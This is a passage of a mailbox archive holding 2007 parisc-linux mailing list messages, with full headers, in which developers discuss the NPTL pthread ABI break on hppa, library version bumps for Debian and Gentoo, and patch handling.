	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11440-05; Mon, 19 Feb 2007 09:05:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 464897DBB9;
	Mon, 19 Feb 2007 09:05:43 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7331B7DBAC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 09:05:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11440-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 09:05:26 -0700 (MST)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id 9FB747DBA8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 09:05:26 -0700 (MST)
Original-Received: from anguille.univ-lyon1.fr ([134.214.4.207])
	by mail.aurel32.net with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurelien@aurel32.net>)
	id 1HJB0z-0006xn-OF; Mon, 19 Feb 2007 17:05:21 +0100
User-Agent: IceDove 1.5.0.9 (X11/20061220)
In-Reply-To: <5b2e36650702190748j1d9306e6mdbc6dc8ed210c4ab@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jb68NQkKZCEX4rGPamwhG0pwIGhpZQZG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24370

Jeff Bailey a écrit :
> On 19/02/07, Aurelien Jarno <aurelien@aurel32.net> wrote:
>>>> if the breakage is just in pthreads, i dont think the libc ABI needs to be
>>>> bumped, just the pthread one ?  libc provides look ahead stub functions for
>>>> pthreads, so it shouldnt be affected by the breakage you've mentioned with
>>>> static lock initializers ...
>>>>
>>>> libpthread.so.0 -> libpthread.so.1
>>> While it's definetly Ubuntu and Debian's problem, not upstream's,
>>> libpthread is bundled in the "libc6" package.  Bumping just the
>>> libpthread version will make packaging hard for those distros.  If
>>> there are other ABI breaking moves that need to be done that would
>>> cause a bump from libc6, doing them now would help sidestep the
>>> problem.
>> Well I am thinking in splitting out libpthread.so.X from the libc6
>> package if the ABI breakage is confirmed. This is still a very
>> complicated transition, but I think far less packages are affected.
> 
> Well, the ABI breakage is confirmed.  I just remember people siting
> some other corner case problems with the ABI they wanted to change.
> Now would be a great time to change it all over if we need to do this.

You mean on hppa? Do you remember the proposed changes, or the people
wanted to change that?

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: call_init in libc6 2.3.6.ds1-11
Date: Mon, 19 Feb 2007 11:56:30 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200702191656.l1JGuVkq018705__30781.4082516872$1416624304$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440702190834p36f92f95ue4ded14fa5a25a5@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624304 22964 80.91.229.3 (22 Nov 2014 02:45:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2007 16:56:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 19 Feb 2007 17:56:51 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D5B307DBEF;
	Mon, 19 Feb 2007 09:56:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12205-04; Mon, 19 Feb 2007 09:56:46 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A0A527DBE6;
	Mon, 19 Feb 2007 09:56:44 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49BA87DBE2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 09:56:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12205-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 09:56:36 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 7AD627DBE1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 09:56:36 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1JGuWwb018708;
	Mon, 19 Feb 2007 11:56:32 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1JGuVkq018705;
	Mon, 19 Feb 2007 11:56:31 -0500 (EST)
In-Reply-To: <119aab440702190834p36f92f95ue4ded14fa5a25a5@mail.gmail.com> from
	"Carlos O'Donell" at Feb 19, 2007 11:34:20 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4+DqcQcjTXs94ayRbmQ5kFBKRzdyMoOq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24371

> What hardware are you using?

This is pa8800 (Mako) at 800 MHz.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dmitry Torokhov <dtor@insightbb.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PARISC] input: queued patches from parisc-linux
Date: Sun, 18 Feb 2007 02:29:00 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <200702180229.01414.dtor__16967.1654738069$1416624304$gmane$org@insightbb.com>
References: <11717457251848-git-send-email-kyle@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624304 22967 80.91.229.3 (22 Nov 2014 02:45:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:04 +0000 (UTC)
Cc: akpm@osdl.org,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2007 01:26:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 19 Feb 2007 02:26:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D76F7DBA2;
	Sun, 18 Feb 2007 18:26:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03682-10; Sun, 18 Feb 2007 18:26:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA9147DB8D;
	Sun, 18 Feb 2007 18:26:07 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 584657DAA7
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 00:29:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26029-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 00:29:02 -0700 (MST)
Original-Received: from asav03.insightbb.com (gateway.insightbb.com [74.128.0.19])
	by free.linux.hp.com (Postfix) with ESMTP id 9E1007DA9B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 00:29:02 -0700 (MST)
Original-Received: from 74-133-19-184.dhcp.insightbb.com (HELO mail.corenet.homeip.net)
	([74.133.19.184])
	by asav03.insightbb.com with ESMTP; 18 Feb 2007 02:29:02 -0500
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AusRAJOO10VKhRO4UGdsb2JhbACHHodKAQEqknsBAQE
User-Agent: KMail/1.9.3
In-Reply-To: <11717457251848-git-send-email-kyle@parisc-linux.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Sun, 18 Feb 2007 18:26:06 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: g87rcQ8iX1VpteuYY2Fy6KF3SDc4NAw0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24372

Hi Kyle,

On Saturday 17 February 2007 15:55, Kyle McMartin wrote:
> 
> Hi Dmitry,
> 
> The following are some patches committed to the input subsystem
> from parisc-linux.
> 
> Apologies if this turns out badly, this is my first time using
> git-send-email...

Thank you for the patches, everything looks pretty good, it would
be even better if subjects had sequence numbers in them so I would
know the order in which they should be applied.

It seems that I already have some of the patches, so I will wait for
Helge to redo them against my tree (see my other e-mail).

-- 
Dmitry
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NPTL for hppa-linux is not backwards compatible
	with Linuxthreads.
Date: Sun, 18 Feb 2007 14:33:33 -0800 (PST)
Lines: 11
Approved: news@gmane.org
Message-ID: <20070218223333.4CD97180076__3367.77184061265$1416624304$gmane$org@magilla.sf.frob.com>
References: <119aab440702181143h682c78d9ra0d765b06e08a594@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624304 22970 80.91.229.3 (22 Nov 2014 02:45:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:04 +0000 (UTC)
Cc: libc-ports@sourceware.org,
 Aurelien Jarno <aurel32@debian.org>,
 debian-glibc@lists.debian.org,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2007 01:26:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 19 Feb 2007 02:26:30 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 575567DB8F;
	Sun, 18 Feb 2007 18:26:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04079-06; Sun, 18 Feb 2007 18:26:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F69D7DB92;
	Sun, 18 Feb 2007 18:26:08 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 58C5B7DB6A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 15:34:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02625-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 15:34:06 -0700 (MST)
Original-Received: from rwcrmhc15.comcast.net (rwcrmhc15.comcast.net [204.127.192.85])
	by free.linux.hp.com (Postfix) with ESMTP id 9A0887DB63
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 15:34:06 -0700 (MST)
Original-Received: from gateway.sf.frob.com
	(c-24-5-197-144.hsd1.ca.comcast.net[24.5.197.144])
	by comcast.net (rwcrmhc15) with ESMTP
	id <20070218223405m150033llbe>; Sun, 18 Feb 2007 22:34:05 +0000
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id 99D3B357B; Sun, 18 Feb 2007 14:34:03 -0800 (PST)
Original-Received: by magilla.sf.frob.com (Postfix, from userid 5281)
	id 4CD97180076; Sun, 18 Feb 2007 14:33:33 -0800 (PST)
In-Reply-To: Carlos O'Donell's message of  Sunday,
	18 February 2007 14:43:19 -0500
	<119aab440702181143h682c78d9ra0d765b06e08a594@mail.gmail.com>
Emacs: featuring the world's first municipal garbage collector!
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Sun, 18 Feb 2007 18:26:06 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qZG6ESZLbXBt87qHPTQ20aEqLyUmZYjd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24373

> NPTL for hppa-linux is not backwards compatible with Linuxthreads, we
> have broken the pthread ABI.

Please elaborate on exactly which types and entrypoints are incompatible.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NPTL for hppa-linux is not backwards compatible
	with Linuxthreads.
Date: Sun, 18 Feb 2007 20:26:57 -0500
Organization: wh0rd.org
Lines: 66
Approved: news@gmane.org
Message-ID: <200702182027.00027.vapier__32718.9681040638$1416624305$gmane$org@gentoo.org>
References: <119aab440702181143h682c78d9ra0d765b06e08a594@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1259371249=="
X-Trace: ger.gmane.org 1416624305 22974 80.91.229.3 (22 Nov 2014 02:45:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:05 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
 Aurelien Jarno <aurel32@debian.org>,
 Roland McGrath <roland@redhat.com>,
 libc-ports@sourceware.org,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2007 01:26:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 19 Feb 2007 02:26:51 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ECC747DB94;
	Sun, 18 Feb 2007 18:26:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04193-08; Sun, 18 Feb 2007 18:26:48 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3CC537DB95;
	Sun, 18 Feb 2007 18:26:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 30E487DB8E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 18:26:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04171-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 18:26:35 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id 955327DB89
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 18:26:31 -0700 (MST)
Original-Received: from home.wh0rd.org (pool-151-203-5-76.bos.east.verizon.net
	[151.203.5.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 9BDAD64235
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 01:26:27 +0000 (UTC)
Original-Received: (qmail 15461 invoked from network); 18 Feb 2007 20:18:35 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 18 Feb 2007 20:18:35 -0500
User-Agent: KMail/1.9.6
In-Reply-To: <119aab440702181143h682c78d9ra0d765b06e08a594@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: upCzLSo+TlIv7beQeGhrtMJGU2poZRkK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24374

--===============1259371249==
Content-Type: multipart/signed; boundary="nextPart2458057.QiVlsy2Ddz";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart2458057.QiVlsy2Ddz
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Sunday 18 February 2007, Carlos O'Donell wrote:
> NPTL for hppa-linux is not backwards compatible with Linuxthreads, we
> have broken the pthread ABI.
> <snip>
> It has been recommended that we bump to libc6.1 for NPTL. Is that a
> good idea? Are there any comments about how to make such a transition
> smooth for debian, gentoo, and ubuntu?

if the breakage is just in pthreads, i dont think the libc ABI needs to be=
=20
bumped, just the pthread one ?  libc provides look ahead stub functions for=
=20
pthreads, so it shouldnt be affected by the breakage you've mentioned with=
=20
static lock initializers ...

libpthread.so.0 -> libpthread.so.1
=2Dmike

--nextPart2458057.QiVlsy2Ddz
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.2 (GNU/Linux)

iQIVAwUARdj840FjO5/oN/WBAQLA5RAA0+F56yUbiK1Safv3kuEqkgF/1HUl/Ug5
cYnxbeXOSOZ/bWhCxzw4V/ojz7Q2X3TCqcLw6K/Bs02A8SDG4UHwdcyAWVc8Pjws
wcgT90tK1ou4Vdmv/YNBgQwjPoJxEya+AyTK0r6kZfSvJkXaqHpNCakRmu1Os3v+
lEvGfmSuaD1YL7tflim9hyem8txQgfOnHoI+hiD269psrrOANuVp19sDkriiT+7b
jzRPhTz9mugC3jeo3Qd8P51MYA8jo78/jbdg8xl1UFVU185Otdd695QWkOhnPyqc
J/f8ba+x87x1KW53PczdeEVZ4o85BAIhwN54BBJkCWTQNuuOsAjhhIeN54my9OS7
OMGeayb92ijTKZ4SsNQ8h6mF2tcuRY2q4cCngjTl7dUU86+AtFW20OWCOzzo+SsZ
YuX5jzXYcDCILP/2Msmtsp6uYOkdBloDnFbM/0uI8HeK5Me/NIEnbv/2q+YdC90n
O0nS1hZAJt8HxgQGsvUVCtamdKcz8DMLDdR6AZXFFsO/lqxAQ5bfAgcKwV/rrSqx
sFOZKq/Kdn5gbgV3So5j/P9HhcAETD7finf/3dpzEcYQ8820kyZTvMHowbydQpZx
TQxEVl5Bdk75zEawQVeHx/bdLGygsQayoonEprAiBbr8qGLUxDehZF5OjDx+55rn
HC0cHy1jvJY=
=RIiE
-----END PGP SIGNATURE-----

--nextPart2458057.QiVlsy2Ddz--

--===============1259371249==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1259371249==--



From - Thu Nov 08 21:35:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: NPTL for hppa-linux is not backwards
	compatible with Linuxthreads.
Date: Mon, 19 Feb 2007 18:57:07 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <200702191857.07559.deller__40049.8874871575$1416624305$gmane$org@gmx.de>
References: <119aab440702181143h682c78d9ra0d765b06e08a594@mail.gmail.com>
	<45D9C1AC.9000501@aurel32.net>
	<5b2e36650702190748j1d9306e6mdbc6dc8ed210c4ab@mail.gmail.com>
